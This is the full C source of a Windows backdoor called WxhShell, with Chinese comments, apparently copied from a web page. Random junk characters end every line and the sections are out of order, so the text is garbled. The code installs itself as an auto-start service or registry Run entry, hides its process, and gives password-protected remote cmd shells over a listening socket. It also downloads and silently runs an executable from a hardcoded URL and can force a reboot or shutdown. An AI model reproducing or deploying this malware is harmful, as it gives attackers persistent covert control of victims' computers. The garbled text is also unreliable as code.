    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I>-jKSkwc  
    if(Boot(SHUTDOWN)) ?I 1@:?Qi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?t} [Wi}7  
    else { XfsCu>  
    closesocket(wsh); *qBMt[a  
    ExitThread(0); *<#&ne 8  
    } Krq^|DY  
    break; =8dCk\/  
    } 6]gs{zG  
  // 获取shell oa1a5+ A  
  case 's': { a<gzI  
    CmdShell(wsh); }}(~'  
    closesocket(wsh); |$b4 {  
    ExitThread(0); 65J'u N  
    break; O.K8$  
  } s/To|9D  
  // 退出 {@ , L  
  case 'x': { 6OTxtk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \K?./*  
    CloseIt(wsh); d$2{_6  
    break; WD?V1:>+  
    } nQ(#'9  
  // 离开 w pCS]2  
  case 'q': { 0`ib_&yI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t583Q/1@  
    closesocket(wsh); &1':s|c  
    WSACleanup(); @i)tQd!s  
    exit(1); ?<LG(WY  
    break; X7 Za Q .  
        } Om1z  
  } <0LB]zDWe6  
  } YHRI UY d  
Iw<c 9w8  
  // 提示信息 wRiP5U,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RY~)MS _C  
} z~Pmh%b  
  } 8DI|+`OgW  
' R@<4Ib|  
  return; yED^/=\)}  
} q-3KF  
+|8Lt[^ux  
// shell模块句柄 .BUl$RW|  
int CmdShell(SOCKET sock) x> q3w# B  
{ &4%J35~  
STARTUPINFO si; FXSDN268  
ZeroMemory(&si,sizeof(si)); Y}#^n7*w~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uHIWbF<0oo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O``MUb b  
PROCESS_INFORMATION ProcessInfo; %7@H7^s}9  
char cmdline[]="cmd"; xXYens}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  =*Yc/  
  return 0; 4>Y\2O?**  
} D vKM>P%|  
Q+Fw =Xw  
// 自身启动模式 !?>)[@2 k6  
int StartFromService(void) Zll^tF#  
{ 2&d&$Jg  
typedef struct )/AvWDKvO  
{ Zs{R O  
  DWORD ExitStatus; ^0 lPv!2  
  DWORD PebBaseAddress; Xda<TX@-  
  DWORD AffinityMask; :Ir:OD# o  
  DWORD BasePriority; Iz8 ^? >X  
  ULONG UniqueProcessId; 7EO&:b]  
  ULONG InheritedFromUniqueProcessId; C4uR5U  
}   PROCESS_BASIC_INFORMATION; ;$E[u)l  
n6Zx0ad?  
PROCNTQSIP NtQueryInformationProcess; )89jP088V  
4<K`yU]"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1c"m$)a4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !dH&IEP~  
kZ}u  
  HANDLE             hProcess; NXNon*"  
  PROCESS_BASIC_INFORMATION pbi; c):*R ]=  
90ag!   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .rm7Sd4K  
  if(NULL == hInst ) return 0; n1>nnH]G  
&FVlTo1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z{0;%E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y]K]]Ehp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !q\w"p0X  
e:D"_B  
  if (!NtQueryInformationProcess) return 0; * _l o;  
wT= hO+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $)]FCuv  
  if(!hProcess) return 0; d)ZSzq  
walRqlo@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4Z9 3 g {  
3a}`xCO5  
  CloseHandle(hProcess); [5*-V^m2  
si_ HN{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D>e\OfTR:  
if(hProcess==NULL) return 0; A<5`[<x$  
SvP\JQ<c  
HMODULE hMod; U hhmG+  
char procName[255]; :_a]T-GL  
unsigned long cbNeeded; ~*c=  
{4aY}= -Q*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DjzBG*f/  
H8]^f=  
  CloseHandle(hProcess); <?{}Bo0xG  
AE4~M`6D  
if(strstr(procName,"services")) return 1; // 以服务启动 sLi//P?:t  
*Yu\YjLPG  
  return 0; // 注册表启动 m{.M,Lm:  
} z12But\<  
![]I%'s  
// 主模块 u<shhb-  
int StartWxhshell(LPSTR lpCmdLine) G0 /vn9&  
{ =&VXn{e  
  SOCKET wsl; q VdC?A|  
BOOL val=TRUE; %s@S|< W  
  int port=0; !GGGh0Bj  
  struct sockaddr_in door; UnWGMo?JEi  
k-pEBh OH  
  if(wscfg.ws_autoins) Install(); zMYd|2bc  
4<Sa,~4  
port=atoi(lpCmdLine); 9N D+w6"  
:6j :9lYL2  
if(port<=0) port=wscfg.ws_port; -?B9>6 h "  
RYZE*lWUh  
  WSADATA data; ^_KD&%M6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CTkN8{2S  
G(0y|Eq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I>%S4Z+o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LJ(n?/z%  
  door.sin_family = AF_INET; fEw=I7{Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7ITl3>  
  door.sin_port = htons(port); 8q?;Hg  
uB <F.!3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sVZZp  
closesocket(wsl); @\T;PTD-  
return 1; q#(/*AoU  
} xe6_RO%  
fcE)V#c"g  
  if(listen(wsl,2) == INVALID_SOCKET) { t+ S~u^  
closesocket(wsl); xEiX<lguyN  
return 1; ;sChxQ=.^  
} |#&V:GZp  
  Wxhshell(wsl); `B'4"=(  
  WSACleanup(); E./__Mz@  
r6n5Jz  
return 0; ?cO8'4 bq  
9PKoNd^e  
} ``|gcG  
Be{/2jU%  
// 以NT服务方式启动 ?]W~ qgA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )8$:DW;  
{ "X5_-l  
DWORD   status = 0; |0L=8~M(j  
  DWORD   specificError = 0xfffffff; b4v(k(<  
<rB3[IJo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zlk,])9Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o9ctJf=qn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ak6MPuBB-  
  serviceStatus.dwWin32ExitCode     = 0; 3^\?>C7  
  serviceStatus.dwServiceSpecificExitCode = 0; `V&1]C8x  
  serviceStatus.dwCheckPoint       = 0; ^XBzZ!h|  
  serviceStatus.dwWaitHint       = 0; D1X4|Q*SK  
"!%wh6`>Md  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M@~~f   
  if (hServiceStatusHandle==0) return; '%SR.JL  
+}^|dkc  
status = GetLastError(); /mn-+u`K  
  if (status!=NO_ERROR) w; 4jx(  
{ S9 G+#[.|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )N" Ew0U  
    serviceStatus.dwCheckPoint       = 0; T- |9o|~z  
    serviceStatus.dwWaitHint       = 0; 5LX8:~y  
    serviceStatus.dwWin32ExitCode     = status; 22`oFXb'  
    serviceStatus.dwServiceSpecificExitCode = specificError; V1SqX:;b&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7G5y)Qb  
    return; uf)W-Er6~  
  } IKi{Xh]\  
>Mvka;T]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YijMF/Uyb  
  serviceStatus.dwCheckPoint       = 0; 7tSJniB  
  serviceStatus.dwWaitHint       = 0; {p`mfEE (  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1 -ZJT  
} Eh\ 1O(a(  
w6T[hZ 9  
// 处理NT服务事件,比如:启动、停止 .,3Zj /  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UJz#QkAio  
{ &]P"48NT  
switch(fdwControl) gmh5 %2M  
{ mxQR4"]jY  
case SERVICE_CONTROL_STOP: ;%' b;+  
  serviceStatus.dwWin32ExitCode = 0; ao#!7F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t5.`! 3EO  
  serviceStatus.dwCheckPoint   = 0; QR<`pmB~y  
  serviceStatus.dwWaitHint     = 0; zfhTc=(/  
  { 8-7dokg>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #HeM,;Xp  
  } s/ M7Zl  
  return; k$h [8l( <  
case SERVICE_CONTROL_PAUSE: )^4hQ3BS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AZ[75>  
  break; 6*IpAIh  
case SERVICE_CONTROL_CONTINUE: (;a B!(_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V vu(`9u]  
  break; ?O??cjiA@  
case SERVICE_CONTROL_INTERROGATE: Bv $UFTz  
  break; C.~ j'5N  
}; AUfS-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V!4a*,Pz  
} #~^btL'dHF  
wW:7y>z)  
// 标准应用程序主函数 "PMQyzl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fXO_g  
{ P;vxT}1  
)MZC>:  
// 获取操作系统版本 n`(~O O  
OsIsNt=GetOsVer(); 8eluO ?p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -v+&pG?m  
@%1IkvJV  
  // 从命令行安装 ['cz;2{:W  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5 L/x-i  
L@RIZu>ZW+  
  // 下载执行文件 !K cWH9  
if(wscfg.ws_downexe) { V1B(|P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u%u&F^y  
  WinExec(wscfg.ws_filenam,SW_HIDE); }aF  
} |;+qld[4z  
pr tK:eGe2  
if(!OsIsNt) { i?>tgmu.  
// 如果时win9x,隐藏进程并且设置为注册表启动 kA4@`YCl  
HideProc(); 9sSN<7  
StartWxhshell(lpCmdLine); 48O~Jx,  
} |7"$w%2  
else VfSj E.|  
  if(StartFromService()) C&+6>L@  
  // 以服务方式启动 Ipe n  
  StartServiceCtrlDispatcher(DispatchTable); HeLG?6  
else l30Y8t~d  
  // 普通方式启动 :@eHX&  
  StartWxhshell(lpCmdLine); |A\a4f 'G  
3BdX  
return 0; 7I9aG.;  
} ?Q0I'RC  
;f1qLI  
j+rG7z){K  
h!gk s-0  
=========================================== iafE5b)  
s?2$ue&-f  
) 1 m">s4  
;"kaF!  
a0=WfeT  
= &tmP  
" >6<q8{*  
.fAv*pUzU  
#include <stdio.h> ]p7jhd=  
#include <string.h> t)f-mQz)  
#include <windows.h> 7fHc[,  
#include <winsock2.h> c!#:E`  
#include <winsvc.h> &@% $2O.3  
#include <urlmon.h> h6~$/`&]b  
'Gl&Pa1g?  
#pragma comment (lib, "Ws2_32.lib") &V7M}@  
#pragma comment (lib, "urlmon.lib") ? *>]")[>  
H/+B%2Zj  
#define MAX_USER   100 // 最大客户端连接数 x3 >  
#define BUF_SOCK   200 // sock buffer  asHxL!  
#define KEY_BUFF   255 // 输入 buffer tM4 Cx  
Hnk:K9u.B:  
#define REBOOT     0   // 重启 CVNj- &vj  
#define SHUTDOWN   1   // 关机 3"N)xO-  
^r6!l.  
#define DEF_PORT   5000 // 监听端口 qpIC{'A.  
F+m }#p  
#define REG_LEN     16   // 注册表键长度 ]hos+;4p  
#define SVC_LEN     80   // NT服务名长度 V#REjsf,t-  
3cdTed-MIh  
// 从dll定义API Gg Jf7ie4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b~=0[Rv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ae]sGU|?'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^XbU~3(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5GA C`}}  
eET&pP3Rp  
// wxhshell配置信息 1W7% 1FA  
struct WSCFG { oND@:>QBF  
  int ws_port;         // 监听端口 b 5yW_Ozdh  
  char ws_passstr[REG_LEN]; // 口令 (T`E!A0I\?  
  int ws_autoins;       // 安装标记, 1=yes 0=no v ~QHMg  
  char ws_regname[REG_LEN]; // 注册表键名 *Kdda} J+  
  char ws_svcname[REG_LEN]; // 服务名 (e(:P~Ry  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fU=B4V4@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >B]'fUt5a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .X# `k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hGpv2>M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  (x/k.&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M5gWD==uP  
p w8 s8?  
}; .o) `m9/  
QQWadVQo  
// default Wxhshell configuration :oJ=iB'Zc  
struct WSCFG wscfg={DEF_PORT, M#(+c_(r  
    "xuhuanlingzhe", 0c}  }Q  
    1, ^#-nE7  
    "Wxhshell", phM>.y_  
    "Wxhshell", s"t$0cH9  
            "WxhShell Service", n2iJ%_zp  
    "Wrsky Windows CmdShell Service", tH-C8Qxy  
    "Please Input Your Password: ", 0`^&9nR  
  1, J0@X<Lt U  
  "http://www.wrsky.com/wxhshell.exe", Lhqz\o  
  "Wxhshell.exe" Q%xC}||1s"  
    }; l1f\=G?tmU  
J+`VujWT  
// 消息定义模块 PYGRsrcFd#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 30SW\@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uD^cxD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [eC2"&}  
char *msg_ws_ext="\n\rExit."; V#iPj'*   
char *msg_ws_end="\n\rQuit."; 2nR[Xh?L  
char *msg_ws_boot="\n\rReboot..."; r,h%[JKM  
char *msg_ws_poff="\n\rShutdown..."; ljb7oA3cP4  
char *msg_ws_down="\n\rSave to "; ' ~8KSF*!p  
[n :<8ho  
char *msg_ws_err="\n\rErr!"; #`)(e JF  
char *msg_ws_ok="\n\rOK!"; (L/_^!ZX  
iv4H#rJ  
char ExeFile[MAX_PATH]; ,%M$0poKM  
int nUser = 0; JU)dr4S?  
HANDLE handles[MAX_USER]; R^Y <RI  
int OsIsNt;  |'B7v i)  
$42{HFGq  
SERVICE_STATUS       serviceStatus; ]?!mS[X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]GW]dM  
5fd]v<  
// 函数声明 =,6z4" )  
int Install(void); 'F9jq  
int Uninstall(void); @X#F3;  
int DownloadFile(char *sURL, SOCKET wsh); QC}CRkp  
int Boot(int flag); cWe"%I  
void HideProc(void); Q o{/@  
int GetOsVer(void); 1=d6NX)B  
int Wxhshell(SOCKET wsl); pSdI/Vj'=  
void TalkWithClient(void *cs); ^LoUi1j  
int CmdShell(SOCKET sock); v0H@Eg_  
int StartFromService(void); #ML%ij 1  
int StartWxhshell(LPSTR lpCmdLine); w=T\3(%j  
7`DBS^O]dG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jK& h~)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ws|j#X<  
pL/DZ|S3  
// 数据结构和表定义 r{L> F]Tw  
SERVICE_TABLE_ENTRY DispatchTable[] = PgF* 1  
{ !Fd~~v  
{wscfg.ws_svcname, NTServiceMain}, Y[}>CYO  
{NULL, NULL} Ch <[l8;K  
}; 0=2@  
3z{?_;bR  
// 自我安装 r\'A i6  
int Install(void) 1mOh{:1u  
{ Vt:~q{9*k  
  char svExeFile[MAX_PATH]; YIQ 4t  
  HKEY key; aBNc(?ri  
  strcpy(svExeFile,ExeFile); \ `~Ly-  
8]/bK5`  
// 如果是win9x系统,修改注册表设为自启动 N4F.Y"R$(  
if(!OsIsNt) { W$hx,VEy`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D9^h; 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1 ySk;;3  
  RegCloseKey(key); tE<H|_{L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8lvV4yb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4'/nax$Bx;  
  RegCloseKey(key); E7j(QO f  
  return 0; v_+{'F  
    } \XCe22x]  
  } &^ 1$^=  
} O_oPh] x)  
else { 4&<oFW\r  
IA8f*]?  
// 如果是NT以上系统,安装为系统服务 il4^zj82  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >E;uU[v)I  
if (schSCManager!=0) 5Dm.K?l;  
{ jS]ru-5.  
  SC_HANDLE schService = CreateService Y,<{vLEC  
  ( %9KldcQ}~  
  schSCManager, `i3NG1 v0  
  wscfg.ws_svcname, 4VJ-,Z  
  wscfg.ws_svcdisp, I8hz(2jI  
  SERVICE_ALL_ACCESS, S 6@u@C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }7|1  
  SERVICE_AUTO_START, lA| 5E?  
  SERVICE_ERROR_NORMAL, cLpYW7vZ[  
  svExeFile, #xsE3Wj-X  
  NULL, eVjBGJ=2e  
  NULL, 3 oF45`3FV  
  NULL, u^@f&BIG]:  
  NULL, kJ'!r  
  NULL F~R;n_IJ  
  ); Qp)v?k ]  
  if (schService!=0) Yg]-wQrH  
  { TV)h`\|Z*  
  CloseServiceHandle(schService); uw>Ba %5  
  CloseServiceHandle(schSCManager); 2J7:\pR^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !`Fxa4i>  
  strcat(svExeFile,wscfg.ws_svcname); [A+ >^ {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }NHaCG[,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xK *b1CB  
  RegCloseKey(key); 9&-dTayIz  
  return 0; |s7s6k)mm  
    } B]nEkO'a:  
  } K[I=6  
  CloseServiceHandle(schSCManager); gh/EU/~d  
} py$Q  
} \j@OZ   
<T` 7%$/E  
return 1; J{.{f  
} l5S aT,%  
0IsPIi"7  
// 自我卸载 v [wb~uw\  
int Uninstall(void) >6ni")Q9  
{ z Xg3[orF  
  HKEY key; ]J1dtN=  
du<tGsy  
if(!OsIsNt) { FvaUsOy "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H*d9l2,KZS  
  RegDeleteValue(key,wscfg.ws_regname); `l\7+0W  
  RegCloseKey(key); }~YA5^VQ$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j@n)kPo,1  
  RegDeleteValue(key,wscfg.ws_regname); {c6=<Kv  
  RegCloseKey(key); >nJ\BPx  
  return 0; AHD=<7Rs  
  } Tm~" IB*  
} 0z`a1 %U  
} |UkR'Ma  
else { p)KheLiZ  
Kr?TxhUHd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4X!/hI=jq  
if (schSCManager!=0) 0pZ4BZdT|  
{ ()Y~Q(5ji  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GA$V0YQX  
  if (schService!=0) =ElO?9&  
  { hCi60%g/n  
  if(DeleteService(schService)!=0) { +Zb;Vn4  
  CloseServiceHandle(schService); W =D4r  
  CloseServiceHandle(schSCManager); ;@mS^ik")$  
  return 0; w^\52  
  } S 8kCp;  
  CloseServiceHandle(schService); AuvkecuIh  
  } ayn)5q/z  
  CloseServiceHandle(schSCManager); T.])diuvj-  
} 'f#{{KA  
} IB(6+n,6s  
Mer/G2#&  
return 1; e6`Jbu+J<f  
} Lz |? ek7Q  
ZJnYIK  
// 从指定url下载文件 R   
int DownloadFile(char *sURL, SOCKET wsh) ;!>rnxB?4  
{ .6ylZ  
  HRESULT hr; S4Pxc ]!  
char seps[]= "/"; wx]0p  
char *token; g&^quZ"H  
char *file; O\ GEay2  
char myURL[MAX_PATH]; =Z{O<xw'  
char myFILE[MAX_PATH]; Wvq27YK'  
;o 6lf_  
strcpy(myURL,sURL); t=BUN  
  token=strtok(myURL,seps); /}((l%UE.  
  while(token!=NULL) s,"]aew  
  { Q1T$k$n  
    file=token; (j%~u&+-  
  token=strtok(NULL,seps); vt/x ,Y  
  } )1Y{Q Y}l  
j:Xq1f6a  
GetCurrentDirectory(MAX_PATH,myFILE); @#l `iK  
strcat(myFILE, "\\"); [ZNtCnv  
strcat(myFILE, file); %h hfU6[  
  send(wsh,myFILE,strlen(myFILE),0); w0[6t#$F  
send(wsh,"...",3,0); <kfnpB=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CLxynZ \;  
  if(hr==S_OK) 1Rt33\1J0  
return 0; 6{@w="VT  
else +UCG0D  
return 1; <!&[4-;fU  
55G+;  
} loEPr5 bL  
aKJwofD  
// 系统电源模块 {IjF+@I  
int Boot(int flag) %{7|1>8  
{ `oAW7q)~  
  HANDLE hToken; 0$(WlP |  
  TOKEN_PRIVILEGES tkp; .zr-:L5{  
# ncRb  
  if(OsIsNt) { kT|dUw9G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !({}(!P .  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &U{#Kt5q  
    tkp.PrivilegeCount = 1; R$EW4]j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4%{,] q\p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k}S :RK  
if(flag==REBOOT) { >|J`s~?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &]Q@7Nl7:l  
  return 0; 2_)\a(.Qu  
} Ah1]Y}sy  
else { ;Y)w@bNt@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *}Xf!"I#]N  
  return 0; 3 D6RLu  
} r^2p*nr}  
  } 'Oxy$U   
  else { SbcS]H5Sk  
if(flag==REBOOT) { 6 [k\@&V-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \h+AXs<j  
  return 0; 87=&^.~`  
} O],T,Z?z  
else { cv8L-Z>x.=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k3~}7]O)  
  return 0; zlyS}x@p  
} $5 >e  
} c7?_46 J  
~cWAl,(B<F  
return 1; SfA\}@3  
} \TIT:1  
^0Zf,40  
// win9x进程隐藏模块 ag;Q F  
void HideProc(void) {ba q+  
{ r`$OO,W  
vjLJi nJ/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XFg 9P}"  
  if ( hKernel != NULL ) "_P;2N6  
  { "7U4'Y:E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w?3p';C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y2|#V#  
    FreeLibrary(hKernel); j 7fL7:,T  
  } >/{@C  
phQU D  
return; "/yC@VC>  
} Q_1:tW &  
X1,I  
// 获取操作系统版本 ksc;X$f&4  
int GetOsVer(void) ?U%QG5/>  
{ ,NOsFO-`<  
  OSVERSIONINFO winfo; Hfv7LM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -] LY,M  
  GetVersionEx(&winfo); '>NCMB{*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AmvEf  
  return 1; iMAfJ-oN  
  else m];]7uB5=  
  return 0; kh!FR u h  
} {mm)ay|M  
kd>hhiz|  
// 客户端句柄模块 !6n_}I-W  
int Wxhshell(SOCKET wsl) C\\~E9+  
{ s0\X ^  
  SOCKET wsh; +"x,x  
  struct sockaddr_in client; 0[A[U_b  
  DWORD myID; eS{!)j_^  
Olt `:;j-  
  while(nUser<MAX_USER) UGD2  
{ {^ qcx8  
  int nSize=sizeof(client); hM@ HA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q8C_9r/:N>  
  if(wsh==INVALID_SOCKET) return 1; gRrL[z  
DD7h^-x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lun#^J  
if(handles[nUser]==0) %.vQU @2A  
  closesocket(wsh); jDKO} bQ  
else 'ZT^PV \  
  nUser++; qUh2hz:  
  } R_(tjkT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1=t>HQ  
,C K{F  
  return 0; N< |@ymi  
} N6>(;ugJ1-  
j:<n+:H C  
// 关闭 socket e_#._Pi  
void CloseIt(SOCKET wsh) |P[w==AAf  
{ 1jCLO}  
closesocket(wsh); %+f>2U4I  
nUser--; uPhK3nCGo  
ExitThread(0); %kv0We fs  
} n\QgOSr<  
~kQA7;`j$  
// 客户端请求句柄 4S5,w(6N  
void TalkWithClient(void *cs) R(('/JC  
{ E'G4Y-  
4y)P>c  
  SOCKET wsh=(SOCKET)cs; wr5AG<%(  
  char pwd[SVC_LEN]; %4ePc-  
  char cmd[KEY_BUFF]; esHg'8?U  
char chr[1]; 5XO;N s  
int i,j; M1 :uJkO.  
t5[ #x4 p  
  while (nUser < MAX_USER) { sA/pVU  
XR+Y=R  
if(wscfg.ws_passstr) { mX_a^_[G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cimp/n"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UADFnwR[R  
  //ZeroMemory(pwd,KEY_BUFF); cU;iUf  
      i=0; iEd\6EZ  
  while(i<SVC_LEN) { >Nvjl~o5  
?6Jx@Sh  
  // 设置超时 }x@2]juJ  
  fd_set FdRead; PRr2F-!P  
  struct timeval TimeOut; j:5=s%S  
  FD_ZERO(&FdRead);  9XP o3;  
  FD_SET(wsh,&FdRead); Px$/ _`H  
  TimeOut.tv_sec=8; Nd`%5%'::  
  TimeOut.tv_usec=0; V@Rrn <l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2HpHxVJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qC}-_u7s  
'h/CoTk@,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +g` 'J$  
  pwd=chr[0]; %C$% !C  
  if(chr[0]==0xd || chr[0]==0xa) { } ~h3c|  
  pwd=0; sp#p8@Cj  
  break; *FC=X)_&W  
  } eAXc:222  
  i++; }2<r,  
    } Zw*v  
0ZBJ ~W  
  // 如果是非法用户,关闭 socket whpfJNz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E}Y!O"CAV  
} CsTF  
WX=Jl<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :z4)5= 6M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i 7_ _  
S'A>2>  
while(1) { v5By:z  
K<pV  
  ZeroMemory(cmd,KEY_BUFF); LJ*q1 ;<E  
>H'4{|  
      // 自动支持客户端 telnet标准   &0NFb^8+  
  j=0; o=21|z  
  while(j<KEY_BUFF) { fJ/e(t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j:k[90  
  cmd[j]=chr[0]; ?0)&U  
  if(chr[0]==0xa || chr[0]==0xd) { Tsgk/e9K2?  
  cmd[j]=0; t"k*PA  
  break; IqC]!H0  
  } &GlwC%$S  
  j++; G>wqt@%r9  
    } %%NlTE8*  
J13>i7]L%  
  // 下载文件 +)j$|x~(A  
  if(strstr(cmd,"http://")) { C!Rs^/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p8Q,@ql.  
  if(DownloadFile(cmd,wsh)) )+}]+xRWGj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _C(m<n  
  else 2C/$Ei^t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @r#v[I  
  } *tgnYa[l  
  else { LXEfPLS  
